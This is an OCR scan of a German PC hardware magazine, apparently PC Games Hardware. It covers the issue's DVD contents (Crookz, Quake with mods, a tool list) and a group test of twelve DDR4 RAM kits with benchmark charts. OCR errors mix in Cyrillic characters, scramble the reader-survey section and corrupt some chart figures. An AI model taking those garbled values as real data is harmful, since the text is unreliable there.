RGB-beleuchteten DDR4-Riegeln sowie Speicher- 
kits mit konventioneller Optik zu erwarten ist — 
inklusive groBem Praxisteil mit Ryzen. 


Test: Kompaktwasserkühlungen .................. 54 
Können aktuelle Wakü-Kompaktlösungen die 
neue CPU-Generation ausreichend kühl halten? 


Praxis: Kühler-Anpresskraft 2.0 .................. 64 
Sind aktuelle Kühler riskant für Kaby-Lake-CPUs? 


INFRASTRUKTUR 


Startseite: 70 
Im Test: Dell S2718D, Teufel Cage, 2tainment 
Dual Pad Pro USB 

Praxis: Kaufberatung Monitore................... 72 
Gute Bildqualität oder niedrige Reaktionszeit? Wir 
zeigen, welcher Monitor für Sie der richtige ist. 
Test: Marktübersicht Netzteile..................... 82 
Zehn Stromgeber der goldenen Netzteil-Mittel- 
klasse von 500 bis 650 Watt im Vergleich 

Test: Neue Tastaturen für Gamer................. 90 
Im Vergleichstest ermittelt: Diese Features benö- 
tigt eine empfehlenswerte Tastatur für Spieler. 
Info: ОМ№А-Ѕреісћег..................................... 96 
Interessante Fakten zum alternativen Speicher- 
verfahren per Erbsubstanz 
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Mehrspieler-Titel im Test mit R5 1600 & i5-7600K 
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Bonus-Vollversion 
Weitere Infos auf Seite 7 


E, 
NZ 


id Softwares Meilenstein Quake: 
z Die Steam-Code-only-Version für DVD- 


plus-Käufer stellen wir inklusive Mods 
auf der folgenden Doppelseite vor. 


Bonus-Vollversion 
3» Quake 


Vollversion 
® Crookz: Der große Coup 


Video aus der PCGH-Redaktion 
29 PCGH-Retrospektive 03/2009 


Specials 
29 Begleitmaterial GTX 1080-11Gbps 


29 Begleitmaterial Kühler-Anpresskraft — Intel unter Druck 

Т PCGH Retrospektive 03/2009: 

» 4 Die Wirtschaftskrise schlägt zu — wir 

Tools blicken trotzdem auch mit einem Augen- 

® GPU-Z 1.20.0, MSI Afterburner 4.4.0 Beta 9, Nvidia Inspector — cuiii cite 
1.9.7.8, PCGH-VGA-Tool 1.0.1, Radeon Pro 1.1.1.0, Sapphire 


I Die DVD läuft nicht? Kein Problem! Schicken Sie eine E-Mail mit Ihrer genauen Anschrift 
Trixx 6.4.0 (Name, Straße, PLZ, Wohnort) und der Ausgabennummer (z. B. Ausgabe 07/2017) unter dem 


jp AS-SSD Benchmark 1.9.5986, Cinebench В1 5, Fraps 3.5.99, Betreff „РС Games Hardware: DVD-Reklamation" an computec@dpv.de. 
Prime 95 28.10, Super Pi 1.9 


® Core Temp 1.7, CPU-Z 1.79, HD-Tune 2.55 und 5.60 Trial, 
Speedfan 4.52, Sysinternals Suite (05/2017) 


PCGH 01/2017: Umfrage 


Liebe PCGH-Loser, 
Welche Artikel der PC Games Hardware 01/2017 haben Ihnen besonders gut gefallen? Wir wollen es genauer wissen. In den 
Kommentaren konnen natürlich auch gerne егКагеп, warum Ihnen die jeweiligen Artikel gefallen haben - oder auch nicht 

Die Umfrage uf anomm, es werden keine personenberogenen Daten daserthaft gespeichert. Alle Angaben werden nach 
Auswertung der Umfraga gelöscht. 


Wie fanden Sie die folgenden Artkel/CVD-Inhait? 


= 
Thema + Umsezung waren Thema бала кл пем р UmsetnugwarmeMou(s. — Mabeden Arikei пем 
ee ac im -rorum gu (6 Kommentar Kommentar) mes 


тик Kaufberatung © 
Gehiuse. 
Im Online-Forum von PC Games Hardware können Sie uns bequem Rückmeldung geben, welche | «ense © 
Inhalte von Heft und DVD Ihnen gefallen haben. Dazu starten wir jeden Monat Umfragen und s= smwom ° 


versus RX 4601470 


ein Feedback-Sammelthema. Durch Ihre Teilnahme helfen Sie uns, die Themenauswahl von PCGH 
besser auf die Wünsche der Leser abzustimmen — die einzige Voraussetzung ist ein kostenloser 
Foren-Account, der mit wenigen Mausklicks eingerichtet ist. www.pcgh.de/feedback 


is0m-Designs i 
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Bitte beachten Sie, dass wir im Heft u. a. aus lizenzrechtlichen Gründen keinen direkten Installationsschlüssel mehr abdrucken! == 
Diesen erhalten Sie, indem Sie den Key auf der Codekarte (S. 66/67) auf www.pcgh.de/codes einlösen. 

Packende und abwechslungsreiche Einzelspieler-Kampagne 7  Ersteinrichtung: ` 
ТЕЕ umfangreiche Missionen im Zeichen дег groovigen 70er Jahre. ^" Für die Installation ist eine aktive Online-Verbindung und ein kostenloser 

Stellen Sie aus einer Vielzahl verschiedener Charaktere mit unter- F Steam-Account nötig. Wenn Sie den Client von der Heft-DVD aufrufen, 
schiedlichen Spezialfähigkeiten eine Crew zusammen. — startet Steam automatisch und fordert Sie auf, den Installationsschlüssel 
I Rüsten Sie Ihr Team mit allerlei nützlichen Hilfsmitteln wie ` einzugeben. 

Brecheisen, Chloroform oder Sprengladungen aus. ` > 

| E Erschwerter Challenge-Modus mit High-Score-Ladder Diesen erhalten Sie, indem Sie den Code der Codekarte (S. 66/67) auf 

| н www.pcgh.de/codes eintauschen. Danach startet die Installation von der 

_ Trotz sorgfältiger Vorbereitung endet der wohl größte Diebstahl in der Lauf- DVD - wahlweise können Sie Ihren Key auch direkt über Steam eingeben, 

"bahn einer Gruppe äußerst talentierter Meisterdiebe im Desaster: Beim Ver? müssen dann jedoch das komplette Spiel herunterladen. Den automatisch 
such, den weltberühmten , Luna-Stein" aus einem venezianischen Museum ` startenden Kalypso-Login können Sie einfach überspringen PE 

= “ stehlen, wird das Team verraten. Fünf Jahre später verbünden sich ebenje- — 

EL ° з А 4 КА бл 4 ч Systemvoraussetzungen minimal: Betriebssystem: Windows Vista 5Р2 oder neuer, 
ne betrogenen Meisterdiebe erneut. Gemeinsam schmieden sie einen Rache CPU: 2,7 GHz Dualcore (Athlon II X2 250/Core 2 Duo E6750), RAM: 4 GiByte, Grafik: 512 
plan, der fren einstigen Freund hinter Ghtter bringen und sie SCIEN | MiByte DX10 (Radeon HD 3870/Geforce 8800 GT), HDD/SSD-Speicher: 4 GByte. 

Е reich machen soll. Іт Taktik-Strategiespiel Crookz erleben Sie die flippige Qj Systemvoraussetzungen empfohlen: Betriebssystem: Windows Vista 5Р2 oder 
sting ausgelassene Atmospháre der 70er-Jahre hautnah mit. Beweisen Sie Ihr ^ Neuer, CPU: 3,4 GHz Dual/-Quadcore (Core i3-2xx0/Phenom II ХА 965), RAM: 4 GiByte, 


-_ З L * E e Е » Grafik: 1.024 MiByte DX10 (Radeon HD 6850/GTX 560), HDD/SSD-Speicher: 4 GByte. 
= diebisches Geschick und planen Sie Ihre Raubzüge mit Stil und Köpfchen. , 


wg, A af 
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Bonus-Vollversion: Quake 
ee 


„Blinde Wut wird Ihnen durch die 32 
Einzelspielerlevel und 6 Deathmatch 
Level reinen Terrors helfen. Währen 
Sound- und Lichteffekte Sie ausser Atem 
halten, bewaffnen Sie sich gegen die 
kannibalischen Menschenfresser, teuf- 
schen Dämoninen und schier unzer- 
störbare Monster und nutzen tödliche 
Nägel, gleissende Blitze und entsetzliche 
Raketen und Granatwerfer.” Mit dieser 
martialischen Beschreibung (inklusi- 
ve Tipp- und Grammatikfehler) wird id 
Softwares 3D-Meilenstein Quake auf der 
Steam-Website angepriesen und wir haben dem eigentlich nichts hinzufü- 
gen. Wer die Anfánge moderner Shooter und auf hóheren Schwierigkeits- 
graden ein für heutige Verhältnisse schweres Spiel erleben möchte, ist bei 
unserer Vollversion genau richtig — sogar bei der Auswahl des Schwierig- 
keitsgrades , Hard" kann das pixelige Alter Ego schon sterben. 


Die Anforderungen sind denkbar gering: Ein 100 % zu Windows XP oder 
Vista kompatibles System und rund 55 MByte HDD-Platz ist alles, was Sie 
benótigen. Der originale Nine-Inch-Nails-Soundtrack ist leider nicht dabei — 
eine Anleitung zur Abhilfe findet sich in der Steam-Community unter https:// 
steamcommunity.com/sharedfiles/filedetails/?id=119489135. 


Fast alle Bilder auf dieser Seite sind aus 
der Mod „Quake HD Remix”, die Sie 


zusätzlich herunterladen können. 
d ^ J 


Auch der berühmte Dopefish hat im ver- 
steckten Areal „The Wishing Well” (Der 
Wunschbrunnen) seinen Auftritt. 


www.pcgameshardware.de 


Zudem gibt es natürlich den Multiplayer-Modus, der Quake zu Recht berühmt 
gemacht und dem E-Sport zum Durchbruch verholfen hat. Zwar lassen sich 
zeitgemäße Auflösungen per Kommandozeile (etwa: -width 1920 -height 
1080 -bpp 32) erzwingen, das Spiel ist jedoch auf ein 4:3-Seitenverhältnis 
ausgelegt und verzerrt so die Darstellung. Von den haufenweise im Netz 
zu findenden Mods haben es uns daher ,DirectQ" («1 MByte, www.quad- 
dicted.com/files/engines/directq) und der „Quake HD Remix" (-4,8 GByte, 
http://quakehdremix.blogspot.de/) besonders angetan. Ersteres erlaubt auch 
hohe 16:9-Auflösungen bis Ultra HD und Letzteres poliert die Optik durch 
Bump-Mapping, neue Texturen, Partikelsystem und Echtzeitschatten massiv 
auf und kann auch potente Rechner in die Knie zwingen — kein Scherz! 


Ersteinrichtung: 

Für die Installation ist eine aktive Online-Verbindung und ein kostenloser 
Steam-Account auch zur Altersverifikation nótig. Den Code der Codekar- 
te (S. 66/67) tauschen Sie auf www.pcgh.de/codes ein und geben den 
erhaltenen Key in Steam ein. Danach startet der Download von Quake. 


Die Abbildungen werden 
der Optikpracht durch 
Mods nicht gerecht: Qua- 
ke wird richtig schick! 


RN 


Bildvergleich 


Da id Software den Quake-Quellcode freigegeben hat, gibt es nicht nur 
Texturpacks, sondern Komplett-Modifikationen wie den „Quake HD Remix” 
inklusive neuem Renderer, der auch moderne Systeme an ihre Grenzen bringt. 


Quake HD Remix mit allen Schikanen || Original-Optik (GL-Quake, 16:9-Mod) 
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anhaltender Beliebtheit und 
haben inzwischen auch bei 


Arbeitsspeichern Einzug ge- 


halten. Wir prüfen, was die 
leuchtstarken Riegel, aber 
auch DDR4-Speicherkits 
mit konventioneller 

Optik leisten. 


Drei Kits bieten eine RGB-LED-Beleuchtung: Corsair und G.Skill setzen auf die hauseigenen Software-Lösungen Corsair Link und Trident Z RGB Control. GEIL setzt auf eine 
externe Stromversorgung und ermöglicht eine einfache Regelung am Modul via Schiebeschalter, liefert aber auch Kabel für den Anschluss am RGB-Header des Mainboards mit. 
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ie Preise für DDR4-RAM be- 

finden sich seit vielen Mona- 
ten auf einem hohen, aber relativ 
stabilen Niveau. Ein deutlicher, 
zeitnaher Preisrückgang gilt als 
unwahrscheinlich. Für diejenigen, 
die diesen Sommer den Speicher 
aufstocken möchten, rentiert sich 
Abwarten daher kaum. Was sich 
dagegen immer lohnt: nach guten 
Produkten Ausschau halten, bei 
denen jeder Euro gut investiert ist. 


So testen wir 

Um die Spreu vom Weizen zu tren- 
nen, nutzen wir ein Skylake-Testsys- 
tem (siehe Extrakasten rechts) und 
prüfen die Tuning-Eigenschaften 
der Speichermodule bei 1,20 Volt 
(DDR4-2133/2400/2666) und 1,35 
Volt (DDR4-3000/3333/3600). Als 
Stresstest dient HCI Memtest Pro, 
die CAS-Latenz testen wir unab- 
hängig von den Timings RCD, RP 
und RAS aus. Die Grundleistung 
der Kits ermitteln wir mithilfe von 
Aida64 als synthetischen und 7-Zip 
als praxisnahen Benchmark bei 
den vom Hersteller garantierten 
Eckdaten. Zusätzlich testen wir aus, 
wie groß die Wärmeentwicklung 
und die Reserven für Undervol- 
ting ausfallen. Neben der internen 
Organisation der Module hinsicht- 
lich der Ranks erfahren Sie in der 
Testtabelle auch, ob ein auslesbarer 
Temperatursensor und - falls mög- 
lich - welche Chips verbaut sind. 


Um Ihnen die Qualitäten aktueller 
DDR4-Kits aufzuzeigen, haben wir 
zwölf Produkte von Adata, Ballis- 
tix, Corsair, GEIL, G.Skill, Patriot 
und Teamgroup in unser Testlabor 
geholt. Sie vermissen Kingston in 
der Aufzählung? Das Testmuster 
erreichte uns leider zu spät, wir 
reichen die Ergebnisse voraussicht- 
lich in der nächsten Ausgabe nach. 
Die Testmuster bieten 16 bis 32 Gi- 
Byte Kapazität und Taktfrequenzen 
von DDR4-2400 bis DDR4-4000. 


G.Skill Trident Z  (F4-3600C16D- 
16GTZKW): Bárenstarkes High-End- 
Kit. Bei diesem aus zwei 8-GiByte- 
Modulen bestehenden Kit handelt 
es sich in der Summe um das beste 
DDR4-Produkt, welches sich bisher 
auf unserem Testparcours bewäh- 
ren musste. G.Skill garantiert den 
Betrieb bei DDR4-3600 (16-16-16- 
36), was eine sehr hohe Grund- 
geschwindigkeit ergibt. Móglich 
machen es die verbauten Samsung- 
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Chips, die als ,B-Die* bekannt sind 
- zu erkennen am letzten Buch- 
staben in der Produktnummer 
K4A4G085WB. Die Bausteine sind 
offensichtlich ` überdurchschnitt- 
lich gut selektiert, als erstes B-Die- 
Kit bewiltigen die Module den 
DDR4-2666-Test bei 1,20 Volt mit 
13-13-13-39er-Timings und sind für 
15-15-15-45 bei DDR4-3600 und 
1,35 Volt geeignet. Die Wärmeent- 
wicklung fällt mit 34,4 °C gering 
aus, der schwarze Kühlkörper mit 
weißer Zierleiste sorgt allerdings 
dafür, dass die 4,4 cm hohen Mo- 
dule mit den meisten CPU-Kühlern 
nicht kompatibel sind, da sie über 
die RAM-Steckplätze ragen. Das ist 
neben dem Preis von 200 Euro aber 
praktisch die einzige Schwäche des 
überzeugenden Kits. 


Teamgroup T-Force Xtreem (TXGD416 
G4000HC18EDCO1): Reizt die Gren- 
zen des Machbaren aus. Das zum 
Testzeitpunkt hierzulande leider 
noch nicht erhältliche 2 x 8 GiByte 
fassende Kit zählt zum erlesenen 
DDR4-4000-Club, den sich im Ein- 
zelhandel bisher ausschließlich Cor- 
sair und G.Skill teilen. Teamgroup 
weist bereits auf der Verpackung 
auf die Verwendung von Samsung- 
Chips hin und gibt für 2.000 MHz 
eine Spannung von 1,35 Volt und 
die Latenzen 18-20-20-44 vor. Mit 
diesen Eckdaten positioniert sich 
das Kit in den Benchmarks hauch- 
dünn an die Spitze des Testfelds. 
Doch der Weg zum Leistungsgipfel 
ist steinig, denn ein stabiler DDRÁ- 
4000-Betrieb lässt sich nur dann 
erzielen, wenn Prozessor, Main- 
board und RAM optimal zusam- 
menspielen. Das bekamen auch wir 
zu spüren, denn trotz vieler Maß- 
nahmen - wie dem Deaktivieren 
des DDR4-Trainings und nicht be- 
legter Slots, zusätzlicher Speicher-, 
I/O- und System-Agent-Spannung, 
dem Betrieb mit unterschiedlichen 
Kombinationen aus Referenztakt 
und RAM-Multiplikator sowie dem 
hàndischen Setzen einzelner Subti- 
mings - mochte unser System mit 
dieser Taktfrequenz nicht starten. 


Die Lösung bestand schließlich da- 
rin, das Z170-Mainboard Asus Maxi- 
mus VIII Extreme gegen die neuere 
Z270-Platine Maximus IX Code zu 
tauschen. Falls Sie mit diesem Kit 
liebäugeln, dann sollten Sie über 
Erfahrung mit RAM-Overclocking, 
einen K-Prozessor der Skylake- oder 


Die Testplattform(en) 


Zum Ausreizen der DDR4- 
Sticks setzen wir dieses Mal 
auch auf eine Z270-Platine. 


Der Core i7-6700K ist offiziell 

nur bis DDRA-2133 freigegeben, 
ermöglicht im Zusammenspiel mit 
dem Asus Maximus VIII Extreme 
(2170) aber deutlich hóhere Takt- 
frequenzen. Dieses Mal zeigte das 
DDR4-4000-Kit von Teamgroup 


unserer Kombination allerdings 
ihre Grenzen auf: Erst nach einem 
Wechsel auf die Z270-Platine 
Maximus IX Code ließ sich das Kit 
bei vollem Takt betreiben. 


Wir nutzen bis einschließlich DDRA-3000 maximal 1,15 Volt (VCCIO und VCCSA), 
für DDR4-3333 1,20 Volt. DDR3-3600 betreiben wir ebenfalls mit einer I/O-Span- 
nung von 1,20 Volt, die System-Agent-Spannung heben wir dafür allerdings auf 
1,25 Volt an. Die DDR4-4000-Tests führten wir bei 1,25 Volt I/O- und 1,30 Volt 
System-Agent-Spannung durch. Die tatsächlich benötigten Spannungen sind etwas 
niedriger, uns ist ein gewisser Puffer für Vollbestückung und hohe Kapazitäten 
aber willkommen. Um die CPU im Alltag weniger stark zu verschleißen, ist das 
Austesten der Untergrenze für einen stabilen Betrieb sinnvoll. 


Kaby-Lake-Serie sowie ein geeigne- 
tes Mainboard verfügen, damit der 
DDR4-4000-Betrieb in Reichweite 
liegt. Neben den Topmodellen für 
Übertakter bieten sich Mini-ITX- 
Modelle wie das Asus Maximus VIII 
Impact an, die mit nur zwei RAM- 
Slots und kürzeren Signalleitungen 
bessere Voraussetzungen für einen 
Hochfrequenzbetrieb bieten. 


Der schwere, gut verarbeitete 
Kühlkörper erledigt seine Aufga- 
be prima, die gemessenen 32,6 °C 
unterbietet kein Testmuster. Team- 
group verschenkt allerdings noch 
etwas Potenzial: Das dünne Wär- 
meleitpad beider Sticks ist an einer 
Seite etwas zu kurz und bedeckt 
einen der acht Chips daher nur zu 
etwa einem Drittel. Undervolting- 
Reserven sind vorhanden, aber 
aufgrund des hohen Standardtakts 
winzig: Für DDR4-4000 müssen es 
mindestens 1,335 Volt sein. Beim 
Latenz-Tuning liegen die T-Force- 
Xtreem-Sticks auf dem guten, für 
Samsung B-Die typischen Niveau. 
An die Top-Ergebnisse des Trident- 
Z-Kits reichen die Teamgroup- 
Module also nicht ganz heran und 
verpassen dadurch knapp den Test- 
sieg. Übrigens: Ohne einem „G“ in 
der Produktnummer erhalten Sie 
das Kit mit Zierstreifen in Silber 
statt in Gold. 


Patriot Viper (PV416G360C6K): 
Pfeilschnell und auf Wunsch kom- 
pakt. Das Kit aus der nach einer 
Giftschlange benannten Spei- 
cherserie bietet eine Kapazität 
von 2 x 8 GiByte und konkurriert 
aufgrund der Eckdaten - DDR4- 
3600 und 16-16-16-36 bei 1,35 
Volt - direkt mit dem bereits vor- 
gestellten G.Skill-Kit. Die Leistung 
liegt auf dem gleichen Niveau, 
allerdings plagten uns Startpro- 
bleme in Kombination mit dem 
Standard-Referenztakt 100 
MHz - vermutlich aufgrund sub- 
optimal gesetzter Subtimings. Die 
DDR4-3600-Messungen führten 
wir daher bei 128,5 MHz und dem 
üblicherweise für DDR4-2800 ge- 
nutzten RAM-Multiplikator durch. 
Beim Latenz-Tuning schneiden 
die Riegel überzeugend, nämlich 
genau wie das Teamgroup-Kit ab. 
Anders als die Konkurrenzproduk- 
te bieten die Viper-Module aber ei- 
nen Kühler mit einem demontier- 
baren Aufsatz, wodurch sich die 
Höhe von 4,1 auf 3,4 cm senken 
lässt, was nur unwesentlich über 
dem DDR4-Standard von 31,25 
Millimetern liegt. Das Patriot-Kit 
ist daher vor allem für Anwen- 
der interessant, die auf der Suche 
nach einem kompakten Kit mit 
Samsung B-Die sind, um größere 
CPU-Luftkühler zu nutzen. 


von 
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G.Skill Flare X (F4-3200C14D-16GFX): 
Für AMD optimiert, auch mit In- 
tel überzeugend. Die Flare-X-Serie 
empfiehlt der Hersteller für die 
Nutzung mit den пепеп Ryzen-Pro- 
zessoren. G.Skill verbaut Samsung 
B-Die und spezifiziert die beiden 8 
GiByte fassenden Riegel für DDR4- 
3200 und die Timings 14-14-14-34 
bei 1,35 Volt - nicht ohne Grund: 
Dabei handelt es sich um die Spei- 
cherchips, mit denen Ryzen am 
zuverlässigsten zusammenarbeitet, 
und den höchsten RAM-Takt, der 
sich seit dem Erscheinen ohne An- 
hebung des Referenztakts einstel- 
len lässt. Auch bei unserem Intel- 
System reichen diese Eckdaten für 
eine hohe Leistung, gegenüber den 
schnellsten Kits aus dieser Markt- 
übersicht macht sich allerdings die 
etwas geringere Transferrate be- 
merkbar. Beim Latenz-Tuning gibt 
es, wie auch bei der Wärmeent- 
wicklung, keine Überraschungen, 


die Flare-X-Module liegen auf dem, 
angesichts der verbauten Chips, zu 
erwartenden, guten Niveau. 


G.Skill Trident Z RGB (F4-3200C16Q- 
32GTZR): Viel Kapazität und viel 
fürs Auge. Das aus vier 8-GiByte- 
Modulen bestehende Speicher- 
set ist ebenfalls für DDR4-3200 
spezifiziert, allerdings nur für die 
Timings 16-18-18-38 bei 1,35 Volt. 
Bei den Leistungsmessungen liegt 
das Quartett nur knapp hinter 
dem Flare-X-Set, doch hinsichtlich 
der Overclocking-Reserven kann 
es nicht mithalten: Der DDR4- 
3600-Betrieb bei 1,35 Volt gelingt 
uns mit den verbauten AFR-Chips 
von SK Hynix nicht. Dafür punktet 
das Kit mit einer RGB-LED-Beleuch- 
tung, die optisch einiges hermacht: 
G.Skill nutzt die übliche Kühler- 
form der Trident-Z-Serie, tauscht 
die Zierleiste an der Oberseite al- 
lerdings durch ein transparentes, 


milchiges Kunststoffelement aus, 
durch welches die installierten 
LEDs hindurchleuchten. Bei genau- 
em Hinsehen lässt sich zwar erah- 
nen, wo sich die einzelnen Leucht- 
dioden befinden, die Beleuchtung 
als Ganzes ist aber recht gleichmä- 
ßig und blendet auch nicht. Die 
Konfiguration erfolgt über die Soft- 
ware Trident Z RGB, welche bisher 
nur als Beta-Version vorliegt. Ohne 
Steuerprogramm wechseln die Mo- 
dule wellenförmig durch die unter- 
schiedlichen Farben. 


Ballistix Tactical (BLT2C8G4D30AETA): 
Gutes Mittelklasse-Kit mit Dual- 
Rank-Nachbrenner. Das Speicherset 
umfasst 2 x 8 GiByte DDR4-3000- 
RAM und ist für die Timings 15-16- 
16-35 bei 1,35 Volt ausgelegt. Bei 
den hier verbauten Samsung-Chips 
handelt es sich um E-Die mit etwas 
schlechteren Tuning-Eigenschaf- 
ten: Gegenüber den B-Die-Kits 


können die Timings RCD und RP 
nicht so aggressiv eingestellt wer- 
den, zudem ist ein stabiler DDR4- 
3600-Betrieb bei 1,35 Volt nicht 
möglich. Das ist allerdings gar nicht 
so schlimm, da das Ballistix-Duo 
von seinem Dual-Rank-Aufbau pro- 
fitiert: Die Leistung pro Megahertz 
fällt höher als bei zwei Single-Rank- 
Sticks aus. Im 7-Zip-Benchmark 
setzt es sich zwischen die beiden 
DDR4-3200-Produkte. 


Adata XPG 71 (AX4U300038G16- 
DRZ): Kann mehr als der Hersteller 
verspricht. Das zweite DDR4-3000- 
Kit bietet ebenfalls 16 GiByte, die 
Herstellervorgabe 16-18-18-36 bei 
1,35 Volt ist allerdings weniger am- 
bitioniert. Da das Pärchen außer- 
dem über einen Single-Rank-Auf- 
bau verfügt, fällt es gegenüber den 
bisher vorgestellten Speicherlösun- 
gen in 7-Zip zurück. Immerhin bie- 
ten die montierten SK-Hynix-Chips 


Kühlung: Teamgroup mit den größten Reserven 


Kopierrate: DDR4-4000 ап der Spitze 


НСІ Memtest Pro v4.0, DDR4-2133, 16-16-16-48, 1,35 Volt 


Teamgroup TXGD416G4000HC18EDCO1 = 32,6 
G.Skill FA-3200C14D-16GFX [X339 
G.Skill FA-3600C16D-16GTZKW. t 34,4 
Patriot PV416G360C6K EX 35,0 
Adata AX4U300038G16-DRZ =s 
G.Skill FA-3200C16Q-32GTZR E 37,2 
Ballistix BLT2C8GAD30AETA Q 
Patriot PVA16G240C5K. EX 37,6 
Corsair CMR32GX4M4C3000C15 8,55 
Ballistix BLE22C16G4D26BFSE EX 40,7 
GEIL GEX416GB3000C15ADC EX 42,1 
Patriot PVEA16G240C5KRD == 


Aida 64 v5.90.4200 — Kopierrate bei Standardtakt/-latenzen 


Teamgroup TXGD416G4000HC18EDCO1 =G 48.680 (+53 %) 
G.Skill FA-3600C16D-16GTZKW. =a 45.740 (+44 %) 
Patriot PV416G360C6K SER: 45.596 (+44 %) 
G.Skill FA-3200C16Q-32GTZR a 43.358 (+36 %) 
G.Skill FA-3200C14D-16GFX Ж 42.496 (+34 %) 
Ballistix BLT2C8GAD30AETA [Eu 41.829 (+32 96) 
Corsair CMR32GX4MA4C3000C15 = 41.048 (+29 96) 
Adata AX4U300038G16-DRZ al 38.574 (+21 %) 
GEIL GEX416GB3000C15ADC a 38.513 (+21 %) 
Ballistix BLS2C16G4D26BFSE | 35.871 (+13 96) 
Patriot PV416G240C5K EX 31.912 (+0 %) 
Patriot PVE416G240C5KRD [Xu 31.769 (Basis) 


System: Core i7-6700K, Asus Maximus VIII Extreme (UEFI 3401), Zotac GeforceGT 640; 
Win 10 64 Bit; Lufttemperatur auf 20 °C normiert Bemerkungen: Alle Produkte liegen 
im unbedenklichen Bereich. Aber: GroBe Kühler sind nicht automatisch besser. 


Grad Celsius 
< Besser 


System: Core i7-6700K, Asus Maximus VIII Extreme (UEFI 3401) bzw. Asus Maximus IX 
Code (UEFI 0906), Zotac GeforceGT 640; Win 10 64 Bit; Lufttemperatur auf 20 °C normiert 
Bemerkungen: Mit 2.000 MHz Speichertakt liegen 50 GB/s Kopierrate in Reichweite. 


MB/s 
» Besser 


Zugriffszeit: Kits mit Samsung B-Die vorne 


7-Zip: Maximale Differenz beträgt 36 Sekunden 


Aida 64 v5.90.4200 — Zugriffszeit bei Standardtakt/-latenzen 


Teamgroup TXGD416G4000HC18EDCO1 Ex 41 6 (-29 96) 
G.Skill FA-3600C16D-16GTZK\V EX 41,9 
Patriot PV416G360C6K XX 42,2 
G.Skill F4-3200C14D-16GFX Eu 42,4 (-28 96) 
GEIL GEX416GB3000C15ADC | 47 1 (-20 96) 
Ballistix BLT2C8G4D30AETA [Eu 47,7 (-19 %) 
Adata AX4U300038G16-DRZ Ew 48,3 (-18 %) 
G.Skill FA-3200C16Q-32GTZR Eu 48,6 (-17 9) 
Corsair СМАЗ26Х4М4С3000С15 | 48,9 (-17 96) 
Patriot PV416G240C5K Eu 52,1 (-12 90) 
Patriot PVE416G240C5KRD [ERU 53,3 (-10 %) 
Ballistix BLS2C16G4D26BFSE EX 58,9 (Basis) 


(-29 96) 
(-28 96) 


3 GB komprimieren und verschlüsseln — Dauer bei Standardtakt/-latenzen 


Teamgroup TXGD416G4000HC18EDCO1 E 172 (-17 96) 
G.Skill FA-3600C16D-16GTZKW 8 173 (-17 %) 
Patriot PV416G360C6K | 173 (-17 96) 
G.Skill FA-3200C14D-16GFX Em 176 (-15 %) 
Ballistix BLT2C8G4D30AETA [Eu 177 (-15 96) 
G.Skill FA-3200C16Q-32GTZR 8 178 (-14 96) 
Corsair CMR32GX4MAC3000C15 E 181 (-13 96) 
GEIL GEX416GB3000C15ADC E 188 (-10 %) 
Adata AX4U300038G16-DRZ E 191 (-8 96) 
Ballistix BLS2C16G4D26BFSE Eu 206 (-1 96) 
Patriot PVE416G240C5KRD [Ew 208 (-0 96) 
Patriot PVA16G240C5K 8 208 (Basis) 


System: Core i7-6700K, Asus Maximus VIII Extreme (UEFI 3401) bzw. Asus Maximus IX 
Code (UEFI 0906), Zotac GeforceGT 640; Win 10 64 Bit; Lufttemperatur auf 20 °C normiert 
Bemerkungen: 16 GiByte große Module sind hier im Nachteil. 


Nanosek. 
< Besser 


System: Core i7-6700K, Asus Maximus VIII Extreme (UEFI 3401) bzw. Asus Maximus IX 
Code (UEFI 0906), Zotac GeforceGT 640; Win 10 64 Bit; Lufttemperatur auf 20 °C normiert 
Bemerkungen: Die Top-Kits liegen eng beisammen, DDR4-4000 ist nur minimal besser. 


Sekunden 
< Besser 
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recht gute Möglichkeiten, die Leis- 
tung zu steigern: Sowohl deutlich 
knackigere Timings beim Standard- 
takt als auch eine Takterhöhung auf 
DDR4-3333 sind möglich. Der mit 
18 Prozent sehr große Spielraum 
für Undervolting unterstreicht, 
dass die von Adata eingeplanten Re- 
serven größer als notwendig sind. 
Die Module sind 4,4 cm hoch und 
bleiben mit 35,8 °C recht kühl. 


Corsair Vengeance RGB  (CM- 
R32GX4M4C3000C15): Flotte Schón- 
heit. Neben G.Skill schickt auch 
Corsair ein Kit mit einer Gesamtka- 
pazität von 32 GiByte ins Rennen, 
das sich aus vier Modulen zusam- 
mensetzt und eine RGB-LED-Be- 
leuchtung bietet. Die von Corsair 
gewählte Takt- und Latenzvorgabe 
(DDR4-3000/15-17-17-35 bei 1,35 
Volt) ist allerdings ein wenig lang- 
samer als die DDR4-3200-Lösung 
des Konkurrenten. Auch bei unse- 
ren Tuning-Tests hat Corsair leicht 
das Nachsehen: Die CFR-Chips von 
SK Hynix erfordern entspanntere 
Timings, zudem misslingt uns die 
Nutzung bei der Taktstufe DDRÁ- 
3333. Für Corsair spricht aller- 


DDRA4-RAM 


Auszug aus Testtabelle 
mit 23 Wertungskriterien 


G.Ski T 
F4-3600C 160-1 uc 


Hardware 


dings, neben dem leicht geringe- 
ren Preis, die subjektiv womöglich 
recht edle Optik: Die Ausleuchtung 
ist hell, aber sehr gleichmäßig, das 
an der Oberseite mittig eingelasse- 
ne Segel-Logo ist ein angenehm de- 
zenter Blickfang. Zur Steuerung ist 
das Herunterladen und Installieren 
von Corsair Link erforderlich. Ver- 
zichten Sie auf die Software, dann 
pulsieren die LEDs langsam in den 
verschiedenen Farben, welche das 
RGB-Spektrum hergibt. 


GEIL Evo X (GEX416GB3000C15ADC): 
Lässt Ihnen bei der RGB-LED-Steu- 
erung die Wahl. Das dritte Kit mit 
aufwendiger Beleuchtung besteht 
aus zwei 8 GiByte großen Speicher- 
riegeln, welche für DDR4-3000 bei 
1,35 Volt und den Timings 15-17- 
17-35 ausgelegt sind. Da es sich um 
Single-Rank-Sticks handelt, ist die 
Praxisgeschwindigkeit geringer als 
beim 32-GiByte-Set von Corsair, das 
trotz Single-Rank-Aufbau aufgrund 
der doppelten Modulanzahl mehr 
Ranks zur Verfügung stellt. Am Be- 
trieb mit DDR4-3333-Takt scheitern 
wir, möglicherweise handelt es sich 
bei den verbauten SK-Hynix-Chips, 


— 


Нагйшаге 


3 


= 


norte 


Die Evo-X-Module kànnen Sie über einen 3-Pin-Lüfteranschluss oder vierpoligen 
RGB-Stecker betreiben. Die Regelung erfolgt per Schieberegler oder via Software. 


also wie beim Corsair-Produkt, um 
CFR-Bausteine. Der Kühlkörper ist 
eher ineffizient: Es ist der hóchste 
im Testfeld (6 cm Modulhóhe), die 
gemessene Temperatur mit 42,1 °C 
allerdings die zweithöchste. 


Dafür bietet der Heatspreader ei- 
nen clever integrierten Schalter: 
Das rote Kunststoffstück mit dem 


